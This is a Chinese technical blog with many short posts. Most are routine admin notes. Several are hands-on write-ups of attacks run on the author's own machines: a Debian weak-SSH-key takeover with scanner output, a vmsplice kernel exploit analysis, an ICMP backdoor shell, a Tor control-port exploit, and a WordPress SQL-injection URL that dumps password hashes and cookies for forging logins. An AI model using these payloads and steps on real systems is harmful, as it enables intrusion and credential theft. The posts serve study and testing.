2008年8月31日星期日

cisco router配置无法保存的原因之一

查看show version的,最后一行是不是:
Configuration register is 0x2102
如果不是的话,会导致配置无法保存,
需要config-register 0x2102,才能解决。

2008年8月29日星期五

难道在美国hacking是个老少皆宜的项目

这是拉斯维加斯blackhat上Dan的演讲,底下坐的人让人是家属吗?

2008年8月26日星期二

cisco IOS exploit要走下神坛了

先去的cisco IOS exploit都是在很小的一个范围里,连gdb的调试方法都需要一定的技术实力和一段时间的摸索才行。

这几天IRM的几位牛人已经把先前只公布视频的几个exploit的代码公布出来了,而且还给出了一个step to step,http://www.packetstormsecurity.nl/papers/attack/cisco-iosftp.txt。

太好了,没有这篇文章恐怕我不知道需要gdb-6.0才能支持cisco IOS编译,需要更改一些代码才能编译成功。
只是,由于给出的exploit的代码是powerpc格式的,跨平台的汇编编译还要自己摸索 。

不过已经很不错了

Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit分析

针对攻击方式的一些分析:
今天早上在milw0rm上看到攻击代码,因此对该问题进行分析和攻击测试:
比较详细的文档在:
http://metasploit.com/users/hdm/tools/debian-openssl/
http://itsecurity.net/
造成该漏洞的原因:
Debian系统开发时,为了照顾到一些兼容性,因此在Openssl packege的md_rand.c中,将

 MD_Update(&m,buf,j);
[ .. ]
MD_Update(&m,buf,j); /* purify complains */

如上代码去掉了。
这导致的问题就是,OpenSSL PRNG(pseudo-random number generator),所产生的随机数不够随机,该随机数就是当前的process id。作为linux系统来说最大的进程数为32,768(milw0rm上的文档写的是65535),总之这个随机数完全是数量有限的。可以通过 brute force的方式,将所有的密钥对算出来。
http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2 这个文件就是采用2048位rsa加密的一共32768对密钥对都在这里边。
现在面临的问题是,我怎么知道目标机器是否存在该漏洞,和对应的是哪对密钥?
首先存在该问题的是Debian这个分支的linux,我使用的ubuntu就在这个分支中。
另外,在进行ssh登录时,我们对fingerprint_key这串字符串是有印象的,fingerprint是和密钥对一一对应的。
http://demo21.ovh.com/bb9d29f8820e8f8078e2e45e90360972P/debian_ssh_scan_v3.tar.bz2
这个工具是首先将密钥对应的fingerprint都计算出来,通过脚步对目标机器的fingerprint进行比对,就能知道目标机器是存在问题。
./debian_ssh_scan_v3.py ubuntu.desk
98304 fingerprints loaded.
ubuntu.desk:22 sshd fingerprint 54676741313a1814deb9ead6a9b06032 VULNERABLE (RSA 2048 bit key, pid 10236)
然后我们就能在debian_ssh_rsa_2048_x86.tar.bz2中找到密钥对,我比较过,和我ubuntu上的/etc/ssh/ssh_host_rsa_key 和ssh_host_rsa_key.pub内容是一样。
那么如何攻击呢?
我们能得到目标机器的密钥对,但是并不代表就能得到控制权,至少在我的ubuntu上是这样的。
以ssh -l root -i /tmp/54676741313a1814deb9ead6a9b06032-10236 ubuntu.desk为例,使用-i命令指定所使用的私钥,结果是仍然需要密码。原因ubuntu上sshd在收到使用key进行challenge的 请求后,会在/root/.ssh/authorized_keys里找对应的公钥(pub key),但是这个操作就需要手动实现了:cp /etc/ssh/ssh_host_rsa_key.pub /root/.ssh/authorized_keys

不知道debian平台上的效果如何?

如何解压缩vmlinuz内核文件

vmlinuz文件是经过gzip压缩的并且在文件的前端,添加了精简过的解压缩代码。如何能将该文件解压缩呢?

从http://felinemenace.org/~andrewg/MikroTik_Router_Security_Analysis_Part2/找到方法:

首先我们看一下普通gzip文件的特征:

root@showrun-laptop:/boot# xxd memtest86+.bin.gz |head -5
0000000: 1f8b 0808 33d2 fc46 0003 6d65 6d74 6573 ….3..F..memtes
0000010: 7438 362b 2e62 696e 00ec bd0b 5c54 65fe t86+.bin….\Te.
0000020: 3f7e 6618 60c0 d119 158d 8c72 aab1 3051 ?~f.`……r..0Q
0000030: 0744 05a5 1c11 110b 6d44 044a 4d48 4040 .D……mD.JMH@@
0000040: 5416 66bc b4a4 4307 d2e3 3866 abb5 b5eb T.f…C…8f….
我们就在linuz文件中查找1f8b

#xxd vmlinuz-2.6.22-14-generic |egrep “\b1f8b” | head -n 5

0002080: 1a00 1f8b 0800 f44d b147 0203 ec5a 7b70 …….M.G…Z{p
000bd40: 57a0 5d3a 7f13 1f8b 275e 6515 0db3 d12e W.]:….’^e…..
0015380: 84c6 e1e3 5864 3b42 0030 1f8b 713f 0295 ….Xd;B.0..q?..
0023f70: dd6a cd42 58e2 1f8b 5fa1 6ec5 9cfe f937 .j.BX…_.n….7
0027100: 5ffc c09d 1d7a b291 1f8b fe6d a2c9 0bfc _….z…..m….

计算位置为:2080+2

#dd if=vmlinuz-2.6.22-14-generic of=vmlinuz.gz bs=1 skip=$((0×2082))

#gunzip vmlinuz.gz

能够正常解压缩

针对Linux Kernel vmsplice Exploit的分析

参考文档:
http://lwn.net/Articles/268783/
http://www.avertlabs.com/researc … l-vmsplice-exploit/
http://lwn.net/Articles/271688/
溢出程序在http://www.milw0rm.com/exploits/5092,存在该问题的内核版本是2.6.17 – 2.6.24.1。
首先分析一下造成溢出的原因:
Vmsplice的作用是将一个文件描述符(必须是一个pipe)和一段内存连接起来。这个功能的实现是通过fs/splice.c的do_vmsplice()function来实现,在该function种,定义了两个数组:
struct page *pages[PIPE_BUFFERS];
struct partial_page partial[PIPE_BUFFERS];
PIPE_BUFFERS的值在存在溢出问题的版本中的是定义为16。这两个函数都传递到了 get_iovec_page_array()这个function中。
以2.6.22.14版本的源代码为例,看看在fs/splice.c的1565行开始的get_iovec_page_array函数。
在该函数中我们看到:
error = get_user(len, &iov->iov_len);
if (unlikely(!len))
break;
在这里仅仅判断len是正数就ok,而len是可以通过用户控制的。
npages = (off + len + PAGE_SIZE - 1) >> PAGE_SHIFT;
if (npages > PIPE_BUFFERS - buffers)
npages = PIPE_BUFFERS – buffers;
error = get_user_pages(current, current->mm,
(unsigned long) base, npages, 0, 0,&pages[buffers], NULL);
npages的值是通过len计算得出,那么我们将len值设为UINT32_MAX的话,那么计算off+len+PAGE_SIZE的结果就会导致整 型数包裹(integer wrap),那么npages的将会是0,这是unexpected的。我们现在来分析get_user_pages在得到了unexpected的 npages值后,会有什么样的结果。get_user_pages是用来将用户空间中页(pages)映射(pin)入内存,并且得到他们页结构 (struct page)的指针。然而在get_user_pages()函数内部,处理页面时使用的do{}while()的结尾处是:
len–;
} while (len && start <>vm_end);
如果len的值是0的话(正如我们期望的那样),那么这个循环将会至少循环一次,将len值减为-1后,继续在页面中错误地执行,直到执行到没有有效的 mapping的地址后,指针将会停止并返回。但是在这时,他或许已经在储了比他当时所分配的内存空间更多的内容,到其page数组中。也就是说在这种情 况下get_user_pages()将会溢出pages数组,写了不仅仅是PIPE_BUFFERS(16)个指针到数组中。然而真正被溢出程序所利用 数组是partial数组。
在do_vmsplice()中定义的partial数组同样被传递给了get_iovec_page_array()。在partial数组中描述 了需要写入到管道中的页面的其他的部分。 在get_user_pages()返回后,紧跟着一个循环语句:
for (i = 0; i < error; i++) {
const int plen = min_t(size_t, len, PAGE_SIZE - off);

partial[buffers].offset = off;
partial[buffers].len = plen;

off = 0;
len -= plen;
buffers++;
}
在这种情况下,因为所有页面都被写入,被计算的偏移量(offset)将会是zero,并且长度(length)值是PAGE_SIZE(4096).而 从get_user_pages()的返回值error,将会是在被溢出的情况下 被mapped的pages页的数量:46。那么实际上partial数组的同样是被定义为16个元素,因此上边的这个循环同样会导致溢出的发生。
这两个数组都是在vmsplice_to_page()中声明的。在内存分配中partial数组将会放在pages的下边,因此一点partial数组 被overflow,那么这个循环将会同样溢出放在上边的pages数组。因此pages数组的内容将会被改写为0,而不是先前的指向pages结构的指 针。
当这些完成后,控制权返回到vmsplice_to_page()-溢出并不足以覆盖返回地址。针对splice_to_pipe()的调用目前看来要结束了,但是一些有趣的事情发生了。在这个function的开始,有一个test:
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
如果我们看攻击代码的话,我们会看到
if (pipe(pi) < 0) die(”pipe”, errno);
close(pi[0]);
在调用vmsplice()之前,已经将pipe的读取端关闭了。因此splice_to_pipe将会立即退出,然而在退出时,将会执行如下操作:
while (page_nr < spd_pages)
page_cache_release(spd->pages[page_nr++]);
我们知道get_user_pages()函数的调用将会lock内存中的相关页,以便允许内核对其进行访问;上边这两行是一段清理代码用来返回并 unlock先前锁住而目前不再使用的pages。但是在我们这个例子中,pages数组的内容已经被改写为0。那么接下来发生的事情,将会是内核欺骗 (kernel oops),因为pages数组中填充的内容并不是合法的地址。溢出代码通过一些小方法,比如使用一些特定的mmap()调用,将会在内存地址的底部构造 任意的内容。
当运行在内核模式,直接去取指向用户空间的指针的值尽管可能会造成很多问题,但是确实可以被忍受的。如果地址是有效的并且相关也驻留内存当中,那么直接的 取值也是能够成功的。因此当kernel开始工作在他以为是指向struct page空间的指针的内存时,并没有得到任何的错误提示;而是得到了通过exploit程序所构造的数据内容。
kernle 一般情况下将每页page看为个体。但是在有些时候,或有多个page组成的集合,被称为”compound pages”.这种情况发生在一段被kernel所需要的连续的空间的大小大于一个page的大小时;当这种调用发生时,一组compound pages被传递给调用者。比较特别的地方是,他们在被释放时,是会被拆分开,因此就会有拆分的动作发生。因此compound pages会有一个普通pages所没有的属性:当pages被释放时,会调用destructor。
我们来看一下攻击程序中是如何设置low-memory page structures的:
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
当内核在用户空间的0位置开始寻找page structure时,将会发现该page structure是组compound page. destructor(存放在第2个page 结构中的lru.next)所指向的是一段先前在exploit代码中定义的kernel_code()。因为count被设置为1,因此执行 page_cache_release()(会将count值减1)将会得出没有剩余的指针了,而这段page看起来像一段compound page,destructor将会被调用。这时,存放在kernel_code位置的任意代码就可以在内核状态运行。

使用Remember Mismatched Domains插件避免thunderbird重复提示证书告警

在使用thunderbird时,由于公司的加密证书有些不规范,老是提示存在安全错误:域名不符合,选择确定的话,能够正常收取邮件,但是在下次收取是 还是需要点击提示。thunderbird本身并没有任何设置的地方,还好有一插件能解决该问题。名字叫:Remember Mismatched Domains,下载后再添加该插件即可。

使用GDB调试缓冲区溢出程序

今天在阅读完 Linux下缓冲区溢出攻击的原理及对策,后对文章中的一个例子进行了验证。但是对example2进行调试时,发现由于gcc版本不同,因此在自己的机器无法调试通过。通过GDB对该程序进行调试,最后找出了问题,过程如下:
例子中的源代码如下
1 int function(int a, int b, int c) {
2 char buffer[14];
3 int sum;
4 int *ret;
5
6 ret = buffer + 20;
7 (*ret) += 10;
8 sum = a + b + c;
9 return sum;
10 }
11
12 void main() {
13 int x;
14
15 x = 0;
16 function(1,2,3);
17 x = 1;
18 printf("%d\\n",x);
19 }

这段代码的原理,在原文中有解释,简单的将就是通过定义的buffer变量的地址,定位到保存function函数返回main函数时的返回地址的 位置,然后修改返回地址的值,将c源码中第17行x=1的赋值运算跳过。使最后x的输出为0。而在本机上没有成功的原因是由于function函数在调运 时,为变量分配空间时,由于编译器存在差异,因此分配的空间大小不同导致。那么如何能够知道准确的ret address的值呢?让我们使用gdb来进行调试。
首先编译源码
gcc -g -o example2 example2.c
gdb example2

(gdb) disassemble main
Dump of assembler code for function main:
0×0804840d : lea 0×4(%esp),%ecx
0×08048411 : and $0xfffffff0,%esp
0×08048414 : pushl 0xfffffffc(%ecx)
0×08048417 : push %ebp
0×08048418 : mov %esp,%ebp
0×0804841a : push %ecx
0×0804841b : sub $0×24,%esp
0×0804841e : movl $0×0,0xfffffff8(%ebp)
0×08048425 : movl $0×3,0×8(%esp)
0×0804842d : movl $0×2,0×4(%esp)
0×08048435 : movl $0×1,(%esp)
0×0804843c : call 0×80483c4
0×08048441 : movl $0×1,0xfffffff8(%ebp)
0×08048448 : mov 0xfffffff8(%ebp),%eax
0×0804844b : mov %eax,0×4(%esp)
0×0804844f : movl $0×804852c,(%esp)
0×08048456 : call 0×8048320
0×0804845b : add $0×24,%esp
0×0804845e : pop %ecx
0×0804845f : pop %ebp
0×08048460 : lea 0xfffffffc(%ecx),%esp
0×08048463 : ret
End of assembler dump.
(gdb) disassemble function
Dump of assembler code for function function:
0×080483c4 : push %ebp
0×080483c5 : mov %esp,%ebp
0×080483c7 : sub $0×28,%esp
0×080483ca : mov %gs:0×14,%eax
0×080483d0 : mov %eax,0xfffffffc(%ebp)
0×080483d3 : xor %eax,%eax
0×080483d5 : lea 0xffffffee(%ebp),%eax
0×080483d8 : add $0×14,%eax
0×080483db : mov %eax,0xffffffe8(%ebp)
0×080483de : mov 0xffffffe8(%ebp),%eax
0×080483e1 : mov (%eax),%eax
0×080483e3 : lea 0×7(%eax),%edx
0×080483e6 : mov 0xffffffe8(%ebp),%eax
0×080483e9 : mov %edx,(%eax)
0×080483eb : mov 0xc(%ebp),%eax
0×080483ee : add 0×8(%ebp),%eax
0×080483f1 : add 0×10(%ebp),%eax
0×080483f4 : mov %eax,0xffffffe4(%ebp)
0×080483f7 : mov 0xffffffe4(%ebp),%eax
0×080483fa : mov 0xfffffffc(%ebp),%edx
0×080483fd : xor %gs:0×14,%edx
0×08048404 : je 0×804840b
0×08048406 : call 0×8048330 <__stack_chk_fail@plt>
0×0804840b : leave
0×0804840c : ret
End of assembler

main+47行的call function指令,除了会将执行权交给function外,还会将function返回后执行的下一条指令的地址0×08048441压入栈中,这个是call指令自动执行的,同时通过function中第一条指令:

0×080483c4 : push %ebp

将寄存器ebp的值也压入栈中,

0×080483c5 : mov %esp,%ebp

将寄存器esp的值交给ebp

0×080483c7 : sub $0×28,%esp

完成空间申请等..

我们来观察寄存器的状态的变化

(gdb) break *0×080483c7

在call function后break一下

(gdb)r

(gdb) info registers

我们只关心esp和ebp的值:

esp 0xbfc53500
ebp 0xbfc53528

目前的堆栈数据结构为:

—————–
0×08048441 返回main时,所执行的下一条指令的地址
—————–
0xxxxxxxxx 原先ebp中的值
—————– <—该处的地址值为ebp中的值0xbfc53528
buffer
buffer
buffer <—该处的地址值在gdb中使用p &buffer能得知为0xbfc53516
…..
—————–

我们知道ebp保持的值和存放返回地址内存区域的差距是4个字节,我们可以通过gdb进行验证0xbfc3528+4处保存的内容是否是正确的返回地址:

(gdb) x 0xbfc5352c

0xbfc5352c: 0×08048441 没有问题

而&buffer的内存地址和ebp中的值相差为0×12,换算成十进制为18,加上ebp值和返回地址之间相差的4个字节。

因此需要将源码中第6行改为

ret = buffer + 22;

重新编译后,返回值为0,与目标相符

勘误:

正如Border所说, 第七行 (*ret) += 10;应改为 (*ret) += 7;

“set –”与循环语句的赋值

set –命令可以设置系统默认的变量。当for循环语句没有变量赋值时,就会使用这个默认的变量。
不太懂?举个例子

set — “a b c” #赋值默认变量

set | grep _=
_=a b c # _=就是代表系统默认变量

那么我们就可以在for中使用默认的变量

for i
do
echo $i
done

这个for语句中,是没有in $args参数的。

说这个问题的原因是,在freeBSD的man getopt给出的例子中,就采取这种方式给for 赋值。但是不幸的是,在某些bash中,可能会无效,所以还不如老老实实的在for i 后边跟 in $args。

在kernel2.6下编译lkm

相对于2.4,init_module和cleanup_module,改名为module_init(),module_exit().
在编译时,需要编写Makefile文件,而不能直接使用gcc。
最为简单的Makefile文件
#cat Makefile
obj-m := hello.o

cat hello.c
/* for 2.6 */
#include
#include

static int myinit_module()
{
printk(”hello!This is a testing module!\n”);
return 0;
}
static void mycleanup_module()
{
printk(”Sorry ! The testing module is unloading now! \n”);
}

module_init(myinit_module);
module_exit(mycleanup_module);

编译时的命令为:make -C /usr/src/linux(源码版本) SUBDIRS=$PWD modules

加载,删除模块
sudo insmod hello.ko
sudo rmmod hello
dmesg /*查看printk打印出的信息*/

使用gdb对linux程序进行调试

代码示例:
time.c

#include
main()
{
time_t the_time;
the_time=time((time_t *)0); /*调用time系统调用*/
printf(”The time is %ld\n”,the_time);
}

使用gcc进行编译,但是要加上-g的参数,-g的作用是在编译过程中,加入debug信息,gdb能够识别这些信息。
gcc -g -o time time.c

使用gdb time加载,使用run来运行,list来调出源代码。
(gdb) run
Starting program: /home/showrun/study/gdb/time_s
The time is 1197899802

Program exited with code 027.
(gdb) list
1 #include
2 main()
3 {
4 time_t the_time;
5 the_time=time((time_t *)0); /*调用time系统调用*/
6 printf(”The time is %ld\n”,the_time);
7 }
(gdb)

在gdb下,使用print命令查看变量的值:
(gdb) print the_time
No symbol “the_time” in current context.
为什么会没有the_time的值呢?是由于time程序已经运行完了。
让我们使用break命令设置一下程序的断点:

(gdb) list
1 #include
2 main()
3 {
4 time_t the_time;
5 the_time=time((time_t *)0); /*调用time系统调用*/
6 printf(”The time is %ld\n”,the_time);
7 }
(gdb) break 5 /*我们在程序的第5行设置了程序的断点*/
Note: breakpoint 1 also set at pc 0×8048219.
Breakpoint 2 at 0×8048219: file time.c, line 5.
(gdb) run
Starting program: /home/showrun/study/gdb/time_s

Breakpoint 1, main () at time.c:5
5 the_time=time((time_t *)0); /*调用time系统调用*/
(gdb) print the_time /*打印the_time变量的值,这里的值应该是指针*/
$2 = 134514848
(gdb) continue /*continue继续*/
Continuing.
The time is 1197900182
Program exited with code 027.
(gdb)

查看都设置了那些断点使用,info break
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y 0×08048219 in main at time.c:4
breakpoint already hit 1 time
2 breakpoint keep y 0×08048219 in main at time.c:5
breakpoint already hit 1 time

可以使用命令 ‘disable ’、’enable ’ 或 ‘delete ’ 来禁用、启用和彻底删除断点。

break也可以在函数上设置断点如,break main

要打印堆栈,发出命令 ‘bt’(’backtrace’ [回溯] 的缩写)
(gdb) bt
#0 main () at time.c:5
(gdb) frame 0
#0 main () at time.c:5
5 the_time=time((time_t *)0); /*调用time系统调用*/
(gdb) info locals
the_time = 134514848
实际上,发出 ‘info locals’ 命令时,gdb 会打印出当前帧中的局部变量,缺省情况下,这个帧中的函数就是被中断的函数(0 号帧)。

调试的一些命令已经说完了,下边是反编译使用dissamble
同样是gdb time
(gdb) disassemble main
Dump of assembler code for function main:
0×08048208 : lea 0×4(%esp),%ecx
0×0804820c : and $0xfffffff0,%esp
0×0804820f : pushl 0xfffffffc(%ecx)
0×08048212 : push %ebp
0×08048213 : mov %esp,%ebp
0×08048215 : push %ecx
0×08048216 : sub $0×24,%esp
0×08048219 : movl $0×0,(%esp)
0×08048220 : call 0×804e030

Freebsd的Tcp协议栈优化

A. TCP Host Cache

Host Cache (不是syncache)是用来缓存两台机器通讯过程中链接信息——例如RTT(Round Trip Time),MTU,congestion window和bandwidth-delay product(BDP)等。即使在连接中断后,也会保持一段时间,这样如果再次通信的,两台机器间的Tcp连接一开始就能以优化过性能后的参数通信。

FreeBSD中影响host cache的参数如下:

net.inet.tcp.hostcache.cachelimit: 15360 表示hostcache所能占的最大空间是hashsize和bucketlimit的乘
net.inet.tcp.hostcache.hashsize: 512
net.inet.tcp.hostcache.bucketlimit: 30
net.inet.tcp.hostcache.count: 4 当前hostcache的使用情况
net.inet.tcp.hostcache.expire: 3600 过期的秒数
net.inet.tcp.hostcache.purge: 0 当设置为1时,将当前hostcache中的缓存剪除(prune),然后再将其置0

B.TCP Extensions

net.inet.tcp.sack.enable: 1 是否默认支持TCP Extensions
net.inet.tcp.rfc1323: 1 是否 支持rfc1323,支持window scaling,在高带宽下比较有用
net.inet.tcp.rfc3042: 1 支持rfc3042,支持limited transmit mechanism,在线路质量不好的情况下有用
net.inet.tcp.rfc3390: 1 支持自动选择协商传输的窗口大小,而不是先初始化选择1
net.inet.tcp.slowstart flightsize: 1
net.inet.tcp.local slowstart flightsize: 4
net.inet.tcp.delayed ack: 1
net.inet.tcp.delacktime: 100ms
net.inet.tcp.inflight.enable: 1
net.inet.tcp.inflight.rttthresh: 10ms
net.inet.tcp.newreno: 1
net.inet.tcp.path mtu discovery: 1

这里边着重说一下delayed ack和delacktime

在tcp传输过程中,每接受到一个数据包,就需要向对方回一个ack,这样会占用互联网的带宽。那么可以定义我遇到要发生的ack先登一段时间 (delacktime所定义),如果碰到正好要想对方发送数据(往往这种情况很多),那么我就把ack回应放在回应的数据包中传输回去,就像搭了一个顺风车。如果delacktime超时,仍然等不到要发生的数据,那就需要单独的一个数据包传回。

C.Buffer

kern.ipc.nmbclusters 定义了最多有多少个mbuf clusters可以被同时使用
kern.ipc.maxsockbuf 定义了sendspace和recvspace所能使用的上限
net.inet.tcp.sendspace 定义了发送send的所使用buffer的上限
net.inet.tcp.recvspace 定义了发送recv的所使用buffer的上限

一般情况下,改变这些数值会影响到通信时,告诉给别人的window size的大小,进而影响传输速度。

例如,限制recvspace的大小,造成window size只能64k,假设传输时延为10ms,那么最高的传输速率将会是52Mbps。

D.MTU

MTU,也会决定传输速度。但是大于1500的数据包在广域网上传输会存在问题。但是在局域网传输的话,就比较有用,而能传输多大的数据包,也和网卡的支持有关系,intel pro/1000的MTU最高到16110bytes。

设定一个网卡的MTU非常简单:

ifconfig em0 10.0.0.1 mtu 9000

测试工具:

需要调整那些参数已经列举完了,但是具体的如何tunning,只要default,并没有一个authority的值。具体就需要测试工具进行测试了。

常用的测试工具有

iperf

nttcp

SIFTR

icmp shell的调试和使用

icmp shell 是作为一个当网络通讯只允许icmp时,shell的替代品存在的。尽管可以作为后门使用,但从特征上来说并不能作为rootkit。

在编译过程中我遇到了一些错误。更改的方法为sha256.c的290行

// ((uint8_t *) data) += bytesToCopy;

改为 data += bytesToCopy;
同样需要修改的是306行。

环境为ubuntu 7.10

我更感兴趣的milw0rm上的raw-socket ICMP/checksum shell ,只是给的只有server端的代码,命令server端,需要自己构造icmp数据包。够bt的,等有时间了好好研究一下。

awk中print语句出现莫名奇妙的空格的解决

在调试脚本过程中发现了一个问题:
如 cat /tmp/data.tmp

1 1 1 2007-10-22 16:26:00
1 2 1 2007-10-22 16:26:01
1 3 1 2007-10-22 16:26:01
1 4 1 2007-10-22 16:26:01
1 5 1 2007-10-22 16:26:01
1 6 1 2007-10-22 16:26:02
1 7 1 2007-10-22 16:26:02
1 8 1 2007-10-22 16:26:02
1 9 1 2007-10-22 16:26:02
1 10 1 2007-10-22 16:26:02

使用awk 语句命令 awk ‘ { print $1,”\t”,$2,”\t”,$3 } ‘ /tmp/data.tmp >/tmp/data1.tmp
cat /tmp/data1.tmp

1 2 1
1 3 1
1 4 1
1 5 1
1 6 1
1 7 1
1 8 1
1 9 1
1 10 1

看似一样,其实使用vi的话会发现以前数字与数字之间只有水平制表符即”\t”所表示的内容,但是在在data1.tmp中,数字与数字直接多了一个难以察觉的空格。在将该内容load进数据库时,会出现问题。
出问题的地方是我使用awk时,未注意到的”,”的问题。其实在使用awk的print时,只要空格分割就可以。
将语句改成 awk ‘ { print $1 “\t” $2 “\t” $3 } ‘ /tmp/data.tmp >/tmp/data1.tmp

Tor < 0.2.1.6的版本,存在些任意文件漏洞

Tor是一个广泛使用的加密传输软件。大多数版本,在默认情况下会在tcp 127.0.0.1:9051开启控制端口(control port)功能。尽管只在127.0.0.1监听,但是通过特定的网页,会造成在特定位置写入文件的漏洞。测试该漏洞的网页在:

http://pseudo-flaw.net/tor/tor-control-port-vulnerability/tor-control-port-pwnage.html

通过”see demo”我可以得知

514 Authentication required.
250 OK
250-version=0.1.2.15
250 OK
250 closing connection

我安装的tor 0.1.2.15版本是有漏洞的版本。

该网页不会造成本机器受害。

该漏洞的攻击脚本在:Tor < 0.1.2.16 ControlPort Remote Rewrite Exploit

我在测试过程中,做了如下修改

在第33行,尽管localhost.mil.se通过域名解析到的Ip地址为127.0.0.1,但是在我的机器上仍然无法测试成功,所以将 action=”http://localhost.mil.se:9051″ ,更改为action=”http://127.0.0.1:9051″

第26行,Start Menu\\\\Programs\\\\Startup\\\\t.bat\针对的是英文版本,中文版本需要做一些相应的修改。

Tor 0.2.1.6已经修改该bug。

Tor 0.2.15版本下载

linux查看当前进程内存使用情况的方法

如果使用top的话,本身top也会占用大量的资源,在系统负责比较大的情况下是不提倡使用top的。可以使用ps命令来查看当前系统的进程使用情况:

showrun@showrun-laptop:~/Desktop$ ps av
PID TTY STAT TIME MAJFL TRS DRS RSS %MEM COMMAND
4142 tty4 Ss+ 0:00 0 10 1637 508 0.0 /sbin/getty 38400 tty4
4143 tty5 Ss+ 0:00 0 10 1637 508 0.0 /sbin/getty 38400 tty5

TRS代表程序所拥有的可执行虚拟内存的大小
DRS代表程序数据段和用户态的栈的大小
RSS代边当前任务驻留物理地址空间的大小

查出top10 驻留物理空间的程序:

ps axv | snort +7 -rn |head -n 10

理解linux下suid和sgid所造成的危险

linux下,一些程序需要以该程序所从属的用户权限来执行。最有效的例子当然是passwd了。
showrun@showrun-laptop:/$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 29104 2006-12-20 04:35 /usr/bin/passwd

如果普通用户需要更改密码,但是存放密码的文件/etc/passwd和/etc/shadow只有root用户有w权限
showrun@showrun-laptop:/$ ls -l /etc/passwd
-rw-r–r– 1 root root 1438 2007-09-17 17:51 /etc/passwd
showrun@showrun-laptop:/$ ls -l /etc/shadow
-rw-r—– 1 root shadow 875 2007-09-17 17:51 /etc/shadow

那么就需要一/usr/bin/passwd程序所从属的用户——root的权限运行才有效。

SUID权限就是代表:当设置了 SUID 位的文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来执行这个文件,他都有文件所有者的特权。如果所有者是 root 的话,那么执行人就有超级用户的特权了。
SGID 与上面的内容类似。文件运行时,运行者将具有所属组的特权。

作为一名系统管理员,您可能会对人人可写的目录感兴趣,从而满足所有用户可写的文件系统应该使用 nosuid
属性进行挂载的需求。用户可写的目录包括用户的根目录,以及任何人人可写的目录。之所以有这种要求是为了防止创建其他用户或管理员可能会不经意执行的
suid 可执行程序。然而,如果在一个合法的 suid 可执行程序与一个人人可写的目录在同一个文件系统中,因此使用 nosuid
选项来挂载的,那么 suid 位就会被忽略,这个可执行程序也就无法正确执行。

以下的这个脚本就能够查找到在人人可读的目录下,有setuid位的文件。
find_setuids.pl

另外,再说一下stick-bit也叫粘贴位,/tmp目录是一个人人可写的目录。如果这台机器上有多个用户,都在/tmp目录下创建了文件,如果没有stick-bit。那么任何一个用户都能够将/tmp目录下的文件删除或者改写。当给 /tmp 设置了粘滞位,唯一能够删除或重命名 /tmp 中文件的是该目录的所有者。所有 Linux 分发包都缺省地启用了 /tmp 的粘滞位。

对wordpress2.2.2版本的pingback_xmlrpc漏洞进行利用的尝试

使用的工具脚本为 Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub)。
运行环境为Ubuntu 7.0.4,apache2&php5&mysql。在本机上安装wordpress2.2.2版本的环境,安装过程中配置数据库时将prefix设为wp222_。

访问该wordpress的url为:http://127.0.0.1/wordpress_222

wordpress

将该工具脚步保存为pwnpress.rb

使用的命令为:ruby -v auto –prefix wp222 -t http://127.0.0.1/wordpress_222

但是该脚本在不同的环境下,运行可能会出现一些问题。在我调试过程中,需要更改的地方为:

1.第660行左右: 有可能要将“tag”去掉。这个需要根据wordpress返回的内容进行修改。

2.第597行左右:

phash = Digest::MD5.new().hexdigest(phash),在我的测试版本中是需要将new()去掉,才能正常允许正常。

3.另外一个最重要的设置是:

需要php环境中magic_quotes_gpc设置为off。如果设置为on的话,php会对语句中的%27–分号进行过滤,导致无法成功 exploit。但是由于在安装php时,magic_quotes_gpc默认是设置为on,因此该脚本针对目前线上运行的wordpress的威胁并 不大。

其实上边这些话只说对了一半,magic_quotes(魔术引号)确实会对exploit造成很大的障碍,但是在这个脚本中,作者已经将代码转换为base64的格式(见430行)。

同时在调试过程过程中,如果遇到问题要善于使用ruby语言中的puts命令,该命令的作用相当于print。

该脚本在exploit中,构造出来的exploit的语句为:

http://127.0.0.1/wordpress_222/index.php/archives/category/uncategorizedxpQanVbl0jiAYVOA&post_type=jNRqjMaYo7EhoDmq%27) UNION SELECT CONCAT(user_pass, %27 - %27, user_login, %27 - %27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 FROM WPR3F1X_users%2F*

该脚步exploit成功的输出为:

admin
cookie_pass : wordpresspass_c4da56beffa0e6bda3e2ec53c0c32558=e42b24c68e772056ff1484ef0ef9017d
passwd_hash : e10adc3949ba59abbe56e057f20f883e
email_addr : showrun@tom.com
cookie_user : wordpressuser_c4da56beffa0e6bda3e2ec53c0c32558=admin
用户名为:admin

密码的md5值为:e10adc3949ba59abbe56e057f20f883e

到xmd5可以尝试着将该秘密进行破解,当然为了测试方便,我选择了一个简单的密码。

其他,是提供了一些可以伪造的cookie的信息。可以进一步利用。

具体利用的方式,我已经验证过了,使用的工具是firefox的插件 cookie editor。根据提供的信息,通过插件按照wordpress的格式(具体的格式还是自己安装一个wordpress进行参考)伪造cookie,即可成功欺骗。

GFS与RHCS安装记录

GFS与RHCS安装记录
硬件环境 :双 AMD 275HE双核CPU/4G内存/73G scsi
操作系统 :RedHat AS 4 update 2
内核版本 :2.6.9-22.ELsmp

1. 到redhat 网站上下载相应的Cluster Suite/GFS软件。由于没有注册号,无法通过up2date升级,因此会比较麻烦。
到ftp: //ftp.redhat.com/pub/redhat/linux/updates/enterprise/4AS/en/下载相应的RHCS和 RHGFS的src.rpm文件,在一个目录下,往往有相同软件的几个版本存在。以下安装笔记中所使用的软件是以RHAS4 U2为准。
1.1 安装cman-kernel-2.6.9-39.5.src.rpm
rpm -iv cman-kernel-2.6.9-39.5.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba –nodeps cman-kernel.spec #加–nodeps 的原因是提示,kernel-hugemem-devel = 2.6.9-22.EL is needed,尝试解决未果,放弃。希望不会出现问题。
cd /usr/src/redhat/RPMS/x86_64/
rpm -ivh cman-ker*

1.2 安装magma-1.0.1-4.src.rpm
rpm -iv magma-1.0.1-4.src.rpm
cd /usr/src/redhat/SPECS
rpmbuild -ba magma.spec
cd /usr/src/redhat/RPMS/x86_64/
